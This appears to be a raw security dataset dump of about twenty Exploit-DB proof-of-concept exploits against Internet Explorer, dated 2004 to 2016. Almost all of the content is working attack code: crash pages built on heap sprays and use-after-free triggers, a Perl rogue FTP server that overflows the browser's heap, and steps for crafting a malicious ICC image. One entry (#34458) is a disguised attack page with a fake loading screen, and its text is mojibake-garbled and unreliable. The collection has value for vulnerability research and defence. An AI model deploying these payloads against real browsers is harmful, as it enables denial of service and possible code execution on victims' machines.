deardaniel/secdata-raw huggingface dataset:
Exploit-DB #2629
Description: Microsoft Internet Explorer - ADODB Execute Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2006-10-24
Author: YAG KOHHA

Exploit:
<!--
// Internet Explorer 'ADODB.Connection' object 'Execute' Function Vulnerability POC
// tested on Windows XP SP1/XP SP2, IE 6.0 with latest patches installed
// Author: YAG KOHHA (skyhole [at] gmail.com)
// Greetz: H D Moor, Dark Eagle, str0ke, Maxus, Fuchunic, Offtopic

// Access violation at:
// ----------------------------------------------------
// 77114D0F   66:8B75 00       MOV SI,WORD PTR SS:[EBP]
// ----------------------------------------------------
// P.S. It`s will be fast with some shellcode :P
--!>

<html>
<head>
<title>ADODB.Connection.Execute CRASH TEST</title>
</head>
<script>
function Bang_Bang() {
var a = new ActiveXObject('ADODB.Connection.2.7');
var b = 'FUCK';
while (b.length <= 1024*256) b+=b;
for (var i = 0; i < 32768; i++)
try { a.Execute(b,b,b); } catch(e) {}
}
</script>
<body onLoad='Bang_Bang()'>
<center><h1>WOW!!! Are U live?</h1></center>
</body></html>

# milw0rm.com [2006-10-24]
Exploit-DB #931
Description: Microsoft Internet Explorer - DHTML Object Handling (MS05-020)
Type: dos
Platform: windows
Date: 2005-04-12
Author: Skylined

Exploit:
<!-- Here are multiple Microsoft Internet Explorer DHTML Object Handling Vulnerabilities by Skylined /str0ke -->

<SCRIPT language="javascript">
    a=document.createTextNode();try{window.open().document.appendChild(a);}catch(e){}document.removeChild(a);
</SCRIPT>

<SCRIPT language="javascript">
  p=document.createElement();c=window.open().document.createElement();try{c.appendChild(p);}catch(e){p.removeChild(c);};
</SCRIPT>

<SCRIPT language="javascript">
    try{window.open().document.appendChild(document);}catch(e){}
</SCRIPT>

<SCRIPT>
    try{window.open().document.appendChild(document.all[0]);}catch(e){}
</SCRIPT>

# milw0rm.com [2005-04-12]
Exploit-DB #3444
Description: Microsoft Internet Explorer - FTP Server Response Denial of Service (MS07-016)
Type: dos
Platform: windows
Date: 2007-03-09
Author: Mathew Rowley

Exploit:
#!/usr/bin/perl

# MS 07-016 FTP Server Response PoC
# Usage: ./ms07016ftp.pl [LISTEN_IP]
#
# Tested Against: MSIE 6.02900.2180 (SP2)
#
# Details: The response is broken into buffers, either at length 1024,
#                  or at '\r\n'. Each buffer is apended with \x00, without
#                  bounds checking.  If the response is exctly 1024 characters
#                  in length, you will overflow the heap with the string \x00.


use IO::Socket;
use strict;

# Create listener
my $ip=shift || '127.0.0.1';
my $sock = IO::Socket::INET->new(Listen=>1,
                                 LocalHost=>$ip,
                                                     LocalPort=>'21',
                                                             Proto=>'tcp');
$sock or die ("Could not create listener.\nMake sure no FTP server is running, and you are running this as root.\n");

# Wait for initial connection and send banner
my $sock_in = $sock->accept();
print $sock_in "220 waa waa wee waa\r\n";

# Send response code with total lenght of response = 1024
while (<$sock_in>){
       my $response;
       if($_ eq "USER") { $response="331 ";}
       elsif($_ eq "PASS") { $response="230 ";}
       elsif($_ eq "syst") { $response="215 ";}
       elsif($_ eq "CWD") { $response="250 ";}
       elsif($_ eq "PWD") { $response="230 ";}
       else { $response="200 ";}
       print $sock_in $response."A"x(1024-length($response)-2)."\r\n";
}
close($sock);

# milw0rm.com [2007-03-09]
Exploit-DB #6619
Description: Microsoft Internet Explorer - GDI+ (PoC) (MS08-052)
Type: dos
Platform: windows
Date: 2008-09-28
Author: John Smith

Exploit:
<html>
<head>
<STYLE>
ef\:* { behavior: url(#default#VML); } 
</STYLE>
</head>

<body>

<pre>
================================================
MS08-052: GDI+ Vulnerability
------------------------------------------------
Operating System: XP SP2
Internet Explorer Version: 6.0.2900.2180
Gdiplus.dll Version: 5.1.3102.2180

Credit:
John Smith,
Evil Fingers

Link: http://www.evilfingers.com/patchTuesday/MS08_052_GDI+_Vulnerability.txt
================================================
</pre>

<XML:NAMESPACE  ns="urn:schemas-microsoft-com:vml" prefix="ef">


<ef:oval style='left: 500; top: 500; width: 500px; height: 500px;' fill="true" id='ef_oval'>
<ef:fill type="gradientCenter";></ef:fill>
</ef:oval>
		
<script>
var focus_size = "-5, -4";
var focus_pos = ".1, .1";
var ef_oval = document.getElementById('ef_oval');

ef_oval.fill.focussize = focus_size;
ef_oval.fill.focusposition = focus_pos;
</script>
</body>
</html>

# milw0rm.com [2008-09-28]
Exploit-DB #1838
Description: Microsoft Internet Explorer - HTML Tag Memory Corruption (MS06-013)
Type: dos
Platform: windows
Date: 2006-05-27
Author: Thomas Waldegger

Exploit:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"     
     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>  <fieldset>    <h4>
<pre><td>
<menu>
<legend>
<a>
<ul>
<small>
<fieldset>
<h6>
</h6
></u>
</optgroup>
</tr>
</map>
</ul
></dfn>

</del>
</h2>
</dir>
</ul>
# milw0rm.com [2006-05-27]
Exploit-DB #9455
Description: Microsoft Internet Explorer - JavaScript SetAttribute Remote Crash
Type: dos
Platform: windows
Date: 2009-08-18
Author: Irfan Asrar

Exploit:
<html>
 <head>
  <title> Irfan Asrar</title>
 </head>
<body onload="c()">
Set Attribute Crash : Tested with IE7 Vista
                                  IE6 XP2
                                  IE6 XP3

<script type="text/javascript">

function c() {

var li = document.createElement("li");
li.setAttribute("value", "1");
li.value = "1";

}

</script>
 </body>
</html>

# milw0rm.com [2009-08-18]
Exploit-DB #34458
Description: Microsoft Internet Explorer - Memory Corruption (PoC) (MS14-029)
Type: dos
Platform: windows
Date: 2014-08-28
Author: PhysicalDrive0

Exploit:
<!doctype html>
<html>
<head>
<meta http-equiv="Cache-Control" content="no-cache"/>
<sc窶脚ipt >
func窶逆ion stc()
{
var Then = new Date();
Then.setTime(Then.getTime() + 1000 * 3600 * 24 * 7 );
document.cookie = "Cookie1=d93kaj3Nja3; expires="+ Then.toGMTString();
}
func窶逆ion cid()
{
var swf = 0;
try {
swf = new ActiveXObject('ShockwaveFlash.ShockwaveFlash'); } catch (e) {
}
if (!swf)
return 0;
var cookieString = new String(document.cookie);
if(cookieString.indexOf("d93kaj3Nja3") == -1)
{stc(); return 1;}else{ return 0;}
}
String.prototype.repeat=func窶逆ion (i){return new Array(isNaN(i)?1:++i).join(this);}
var tpx=un窶菊scape ("%u1414%u1414").repeat(0x60/4-1);
var ll=new Array();
for (i=0;i<3333;i++)ll.push(document.create窶畿lement("img"));
for(i=0;i<3333;i++) ll[i].className=tpx;
for(i=0;i<3333;i++) ll[i].className="";
CollectGarbage();
func窶逆ion b2()
{
try{xdd.re窶却laceNode(document.createTextNode(" "));}catch(exception){}
try{xdd.outerText='';}catch(exception){}
CollectGarbage();
for(i=0;i<3333;i++) ll[i].className=tpx;
}
func窶逆ion a1(){
if (!cid())
return;
document.body.contentEditable="true";
try{xdd.applyElement(document.create窶畿lement("frameset"));}catch(exception){}
try{document.selection.createRange().select();}catch(exception){}
}
</ sc窶脚ipt >
</head>
<body onload='setTimeout("a1();",2000);' onresize=b2()>
<marquee id=xdd > </marquee>
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8[PII_REDACTED]00" width="1%" height="1%" id="FE">
<param name="movie" value="storm.swf" />
<param name="quality" value="high" />
<param name="bgcolor" value="#ffffff" />
<param name="allowScriptAccess" value="sameDomain" />
<param name="allowFullScreen" value="true" />
</object>
</body>
<body>
<form name=loading>
ﾂ｡ﾂ｡<p align=center> <font color="#0066ff" size="2"> Loading....,Please Wait</font> <font color="#0066ff" size="2" face="verdana"> ...</font>
ﾂ｡ﾂ｡ﾂ｡ﾂ｡<input type=text name=chart size=46 style="font-family:verdana; font-weight:bolder; color:#0066ff; background-color:#fef4d9; padding:0px; border-style:none;">
ﾂ｡ﾂ｡ﾂ｡ﾂ｡
ﾂ｡ﾂ｡ﾂ｡ﾂ｡<input type=text name=percent size=47 style="color:#0066ff; text-align:center; border-width:medium; border-style:none;">
ﾂ｡ﾂ｡ﾂ｡ﾂ｡<sc窶脚ipt > ﾂ｡ﾂ｡
var bar=0ﾂ｡ﾂ｡
var line="||"ﾂ｡ﾂ｡
var amount="||"ﾂ｡ﾂ｡
count()ﾂ｡ﾂ｡
func窶逆ion count(){ﾂ｡ﾂ｡
bar=bar+2ﾂ｡ﾂ｡
amount =amount + lineﾂ｡ﾂ｡
document.loading.chart.value=amountﾂ｡ﾂ｡
document.loading.percent.value=bar+"%"ﾂ｡ﾂ｡
if (bar<99)ﾂ｡ﾂ｡
{setTimeout("count()",500);}ﾂ｡ﾂ｡
elseﾂ｡ﾂ｡
{window.location = "http://www.google.com.hk";}ﾂ｡ﾂ｡
}</ sc窶脚ipt >
ﾂ｡ﾂ｡</p>
</form>
<p align="center"> Wart,<a style="text-decoration: none" href="http://www.google.com.hk"> <font color="#FF0000"> kick me</font> </a> .</p>
</body>
</html>
Exploit-DB #15122
Description: Microsoft Internet Explorer - MSHTML Findtext Processing
Type: dos
Platform: windows
Date: 2010-09-27
Author: Abysssec

Exploit:
<html>
<body>
<input type="button" value="Crachme!" onclick="Search()"/>
<input  type="text" value="Abysssec" id="Abysssec">&lt;/textarea&gt;

<script type="text/javascript">
function Search(){
var textinput  = document.getElementById("Abysssec");

var textRange = textinput.createTextRange();
textRange.findText(unescape("%u4141"),-1);
textRange.select(document.getElementById('d'));
document.body.appendChild(textinput);
}
</script>
<p id="p">Abysssec</p>
http://www.exploit-db.com/moaub-27-microsoft-internet-explorer-mshtml-findtext-processing-issue/
</body>
</html>
</p>
</body>
</html>
Exploit-DB #40253
Description: Microsoft Internet Explorer - MSHTML!CMultiReadStreamLifetimeManager::ReleaseThreadStateInternal Read AV
Type: dos
Platform: windows
Date: 2016-08-16
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=827
-->

<script>
function eventhandler1() {
  CollectGarbage();
}

function eventhandler5() {
  try { /*FileReader*/ var var00063 = new FileReader(); } catch(err) { } //line 68
  try { /*Blob*/ var var00064 = new Blob(); } catch(err) { } //line 69
  try { var00063.readAsDataURL(var00064); } catch(err) { } //line 70
}
</script>

</noembed>
<applet onmouseout="eventhandler6()" truespeed="-1.86811e+009" spellcheck="A" frameborder="all" pluginurl="bottom" link="-32" part="file" ononline="eventhandler1()" onwebkittransitionend="eventhandler10()" onerror="eventhandler5()" char="void" direction="-1">iiThS9l_J8
</xmp>
</select>A7
<object results="object" default="black" aria_checked="1" action="row" onwebkitanimationiteration="eventhandler4()" playcount="bottom" playcount="poly" onsearch="eventhandler4()" oninput="eventhandler9()" translate="left" for="1" checked="-0.155515%" aria_selected="hsides" onerror="eventhandler1()" aria_valuemin="file">
Exploit-DB #39663
Description: Microsoft Internet Explorer - MSHTML!CSVGHelpers::SetAttributeStringAndPointer Use-After-Free (MS16-023)
Type: dos
Platform: windows
Date: 2016-04-05
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=691

Minimized PoC:
-->

<svg xmlns="http://www.w3.org/2000/svg" xlink="http://www.w3.org/1999/xlink">
<pattern id="outer"><rect id="rect"><pattern id="inner"></pattern></rect></pattern>
<script><![CDATA[
  function handler() {
    inner.setAttribute("viewBox");
  }
  outer.addEventListener("DOMAttrModified", function () { handler(); });
  doc = document.implementation.createDocument("", "", null);
  doc.adoptNode(rect.attributes[0]);
]]></script>
</svg>

<!--
Backtrace for reference:

2:052:x86> k 10
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
0bb14b64 6ad180b8 vrfcore!VerifierStopMessageEx+0x571
0bb14b88 67fec434 vrfcore!VerifierDisableVerifier+0x748
0bb14bdc 67fea3dc verifier_67fe0000!VerifierStopMessage+0x74
0bb14c40 67fe733d verifier_67fe0000!AVrfpDphReportCorruptedBlock+0x10c
0bb14ca4 67fe7495 verifier_67fe0000!AVrfpDphFindBusyMemoryNoCheck+0x7d
0bb14cc8 67feb651 verifier_67fe0000!AVrfpDphFindBusyMemory+0x15
0bb14ce0 67ff0b12 verifier_67fe0000!AvrfpDphCheckPageHeapAllocation+0x41
0bb14cf0 67f93246 verifier_67fe0000!VerifierCheckPageHeapAllocation+0x12
0bb14d4c 60dca53f vfbasics+0x13246
0bb14d68 604cce4e MSHTML!MemoryProtection::HeapFree+0x46
0bb14d70 60b07866 MSHTML!ProcessHeapFree+0x10
0bb14d88 60baac6b MSHTML!CSVGHelpers::SetAttributeStringAndPointer<CRectF,CSVGRe
ct>+0xb6
0bb14de8 60e18b69 MSHTML!PROPERTYDESC::HandleStringProperty+0x110
0bb14e14 607e30e6 MSHTML!PROPERTYDESC::CallHandler+0x855996
0bb14e54 60b83323 MSHTML!CElement::SetAttributeFromPropDesc+0xbe
0bb14ee4 607e2f44 MSHTML!CElement::ie9_setAttributeNSInternal+0x2ee
-->
Exploit-DB #2238
Description: Microsoft Internet Explorer - Multiple COM Object Color Property Denial of Service Vulnerabilities
Type: dos
Platform: windows
Date: 2006-08-21
Author: nop

Exploit:
<!--

// Internet Explorer Multiple COM Object Color Property DoS Vulnerability
// tested on Windows 2000 SP4/XP SP2

// http://www.xsec.org
// nop (nop#xsec.org)

--!>
<html>
<head>
<title></title>
</head>
</body>
<script>
var i =0;
var Objects = new Array(

// CLSID: {3A04D93B-1EDD-4f3f-A375-A03EC19572C4}
// Info: MaskFilter
// ProgID: DXImageTransform.Microsoft.MaskFilter.1
// InprocServer32: C:\WINNT\system32\dxtmsft.dll
"DXImageTransform.Microsoft.MaskFilter.1",

// CLSID: {421516C1-3CF8-11D2-952A-00C04FA34F05}
// Info: Chroma
// ProgID: DXImageTransform.Microsoft.Chroma.1
// InprocServer32: C:\WINNT\system32\dxtmsft.dll
"DXImageTransform.Microsoft.Chroma.1",

// CLSID: {9F8E6421-3D9B-11D2-952A-00C04FA34F05}
// Info: Glow
// ProgID: DXImageTransform.Microsoft.Glow.1
// InprocServer32: C:\WINNT\system32\dxtmsft.dll
"DXImageTransform.Microsoft.Glow.1",

// CLSID: {ADC6CB86-424C-11D2-952A-00C04FA34F05}
// Info: DropShadow
// ProgID: DXImageTransform.Microsoft.DropShadow.1
// InprocServer32: C:\WINNT\system32\dxtmsft.dll
"DXImageTransform.Microsoft.DropShadow.1",

// CLSID: {E71B4063-3E59-11D2-952A-00C04FA34F05}
// Info: Shadow
// ProgID: DXImageTransform.Microsoft.Shadow.1
// InprocServer32: C:\WINNT\system32\dxtmsft.dll
"DXImageTransform.Microsoft.Shadow.1",

// CLSID: {8241F015-84D3-11d2-97E6-0000F803FF7A}
// Info: Shapes
// ProgID: DX3DTransform.Microsoft.Shapes.1
// InprocServer32: C:\WINNT\system32\dxtmsft3.dll
"DX3DTransform.Microsoft.Shapes.1",

null
);

var b = "AAAA";

while(b.length < 0x2000000)
{
   b += b;
}

while(Objects[i])
{
    var a = null;

    window.status = "Create Object " + Objects[i] + "...";

    try { a = new ActiveXObject(Objects[i]); } catch(e){}

    if(a)
    {
       window.status = "Try Set " + Objects[i] + ".Color ...";
       try { a.Color = b;} catch(e){}
    }

   i++;
}

window.status = "failed!";

</script>
</body>
</html>

# milw0rm.com [2006-08-21]
Exploit-DB #1024
Description: Microsoft Internet Explorer - Multiple Stack Overflows Crashs
Type: dos
Platform: windows
Date: 2005-05-31
Author: Benjamin Franz

Exploit:
<script>
window.onerror=new Function("history.go(0)");
function btf(){btf();}
btf();
</script>

# milw0rm.com [2005-05-31]
Exploit-DB #354
Description: Microsoft Internet Explorer - Overly Trusted Location Cache
Type: dos
Platform: windows
Date: 2004-07-18
Author: anonymous

Exploit:
<html>
<body>
<b><font size="5">Overly Trusted Location Variant Method Cache Vulnerability</font></b>
<br><br>
<a href="#refresh" onclick="setTimeout('document.execCommand(\'Refresh\')',1000);"><font size=4 color=red>GO!</font></a><br><
+br>
This vulnerability seems to be unstable. For some reason, it crashes my internet explorer unless the exploit is executed onlo
+ad and even then it crashes sometimes.
<br><br>

<script>

var w=window.open("javascript:''","_blank","width=100,height=100,left=300,top=300");
var cpop=w.createPopup();
w.location.assign("http://google.com");
cpop.document.body.innerHTML='<button onactivate="document.parentWindow.location.cache=parent.open;var myint=setInterval(func
+tion(){try{var testvar=parent.document.write;}catch(e){clearInterval(myint);document.parentWindow.location.cache(\'javascrip
+t:alert(\\\'Javascript injected!\\\'+document.body.innerText)\',\'_self\')}},1000 /* theres some ratio of this number to the
+ chance of internet explorer crashing at offset 0019d19d :) */);"></button>';
cpop.show(1,1,1,1);

</script>
</body>
</html>


// milw0rm.com [2004-07-18]
Exploit-DB #2400
Description: Microsoft Internet Explorer - VML Remote Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2006-09-19
Author: Shirkdog

Exploit:
<!--
Currently just a DoS

EAX is controllable and currently it crashes when trying to move EBX into the location pointed to by EAX

Shirkdog
-->

<html xmlns:v="urn:schemas-microsoft-com:vml">

<head>
<object id="VMLRender" classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">
</object>
<style>
v\:* { behavior: url(#VMLRender); }
</style>
</head>

<body>


<v:rect style='width:120pt;height:80pt' fillcolor="red">
<v:fill method="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCD01" angle="-45"
focus="100%" focusposition=".5,.5" focussize="0,0"
type="gradientRadial" />
</v:rect>

</body>
</html>

# milw0rm.com [2006-09-19]
Exploit-DB #1110
Description: Microsoft Internet Explorer / MSN - ICC Profiles Crash (PoC)
Type: dos
Platform: windows
Date: 2005-07-15
Author: Edward Gagnon

Exploit:
*/-----------------------------edwardgagnon--------------/*

Can crash msn and execute commands

Windows has a buffer overflow vulnerability in the processing of embedded ICC Profiles 
inside images (jpeg, tiff, etc...)

To test - create a jpeg in adobe photoshop and save it with the ICC checkbox enabled, 
make sure you set it to RGB (that does not really matter, just so you can find which 
bytes to change for the test).

Open in a hex editor and search for "RGB XYZ " (no quotes, case sensitive)

You are now inside the header of the ICC Profile which is 128 bytes.
104 bytes away is a 4 byte number which is the Tag Count of the ICC Profile.
Change this to "FF FF FF FF" (it will be followed by a 4 byte string which is 
part of a 12 byte tag. there are several such tags, it should help you identify 
which bytes to change).

Save, open in internet explorer, and see the crash.

and this is the crash:

CODE
.text:73B323BC loc_73B323BC:                          ; CODE XREF: GetColorProfileElement+D6j
.text:73B323BC                 cmp     [ebx], eax
.text:73B323BE                 jz      short loc_73B323DD
.text:73B323C0                 add     ebx, 0Ch
.text:73B323C3                 inc     edx
.text:73B323C4                 cmp     edx, ecx
.text:73B323C6                 jb      short loc_73B323BC
.text:73B323C8
.text:73B323C8 loc_73B323C8:                          ; CODE XREF: GetColorProfileElement+CAj
.text:73B323C8                 push    7DCh           ; dwErrCode
.text:73B323CD                 call    ds:SetLastError


ebx is controlable. but gets a read access violation.

....be kool and create a PoC and change your sig to the exploit.jpg

# milw0rm.com [2005-07-15]
Exploit-DB #700
Description: Microsoft Internet Explorer / MSN - Memory_Access_Violation Denial of Service
Type: dos
Platform: windows
Date: 2004-12-21
Author: Emmanouel Kellinis

Exploit:
<!--
#########################################
Application:    Internet Explorer
Vendors:        http://www.microsoft.com
Version:         6.0.2800
Platforms:      Windows
Bug:              IE and MSN Messenger
                     Memory_Access_Violation
Risk:             Critical
Exploitation:   Remote with browser
Date:             07 May 2004
Author:          Emmanouel Kellinis
e-mail:           me@cipher(dot)org(dot)uk
web:              http://www.cipher.org.uk
List :              BugTraq(SecurityFocus)
#########################################
-->

<HTML><BODY><IFRAME src="file://þ:/filename"></BODY></HTML>

// milw0rm.com [2004-12-21]
Exploit-DB #40844
Description: Microsoft Internet Explorer 10 - MSHTML 'CEdit­Adorner::Detach' Use-After-Free (MS13-047)
Type: dos
Platform: windows
Date: 2016-11-28
Author: Skylined

Exploit:
<!--
Source: http://blog.skylined.nl/[PII_REDACTED]1.html

Synopsis

A specially crafted web-page can cause Microsoft Internet Explorer 10 to continue to use an object after freeing the memory used to store the object. An attacker might be able to exploit this issue to execute arbitrary code.

Known affected software and attack vectors

Microsoft Internet Explorer 10

An attacker would need to get a target user to open a specially crafted web-page. Disabling Javascript should prevent an attacker from triggering the vulnerable code path.

Repro.html:
-->

<!DOCTYPE html>
<html>
  <head>
    <script>
      var o­Window = window.open("window.xhtml");
      set­Interval(function () {
        try {
          o­Window.eval("(" + function () {
            document.design­Mode = "on";
            document.exec­Command("Select­All");
            var o­Selection = window.get­Selection();
            o­Selection.collapse(document,1);
            document.exec­Command("Insert­Image", false);
            document.design­Mode="off";
          } + ")()");
        } catch (e) {}
      }, 1);
    </script>
  </head>
</html>
Window.xhtml
<!-- comment --><html xmlns="http://www.w3.org/1999/xhtml">
</html>

<!--
Description

The last line of script (design­Mode = "off") will cause some cleanup in MSIE, which appears to trigger use of a stale pointer in CEdit­Adorner::Detach. I did not investigate further.

Time-line

November 2012: This vulnerability was found through fuzzing.
November 2012: This vulnerability was submitted to EIP.
December 2012: This vulnerability was rejected by EIP.
January 2013: This vulnerability was submitted to ZDI.
March 2013: This vulnerability was acquired by ZDI.
June 2013: This issue was addressed by Microsoft in MS13-047.
November 2016: Details of this issue are released.
-->
Exploit-DB #37060
Description: Microsoft Internet Explorer 11 - Crash (PoC) (1)
Type: dos
Platform: windows
Date: 2015-05-19
Author: Garage4Hackers

Exploit:
# Exploit Title: Internet Explorer 11 - Crash PoC
# Google Dork: N/A
# Date: 19th May, 2015
# Exploit Author:  garage4hackers
# Vendor Homepage:  http://garage4hackers.com/showthread.php?t=6246
# Software Link: N/A
# Version: Tested on IE 11
# Tested on: Windows 7
# CVE : N/A

<!doctype html>
<html>
<HEAD><title>case522207.html</title>
<meta http-equiv="Content-type" content="text/html;charset=UTF-8">
<style>
*:nth-child(5)::before {
	content: 'moof';
}
*:nth-child(5)::after {
    content:'>>';
}
</style>
</HEAD><body>
<script>
elem0 = document.createElementNS('http://www.w3.org/2000/svg', 'svg')
elem1 = document.createElementNS('http://www.w3.org/2000/svg', 'feGaussianBlur')
elem2 = document.createElementNS('http://www.w3.org/2000/svg', 'svg')
elem3 = document.createElement('dd')
elem4 = document.createElement('map')
elem5 = document.createElement('i')
elem6 = document.createElementNS('http://www.w3.org/2000/svg', 'svg')

document.body.appendChild(elem0)
elem0.appendChild(elem1)
elem1.appendChild(elem2)
elem1.appendChild(elem3)
elem1.appendChild(elem4)
elem1.appendChild(elem5)
elem1.appendChild(elem6)

rangeTxt = document.body.createTextRange()		
randOldNode = document.documentElement.firstChild
randOldNode.parentNode.replaceChild(elem2, randOldNode)
rangeTxt.moveEnd('sentence', '-20')

</script>
</body></html>

How do I reproduce it?

- It has been discovered, tested & reduced on Win7 32-bit Ultimate and runs successfully anytime.

a) Enable Page Heap # gflags.exe /p /enable iexplore.exe /full
b) Execute runMe.html in WinDbg
c) Tested on Win7 32-bit, Win8.1 32-bit, Win8.1 64-bit (not working on Win8, IE 10)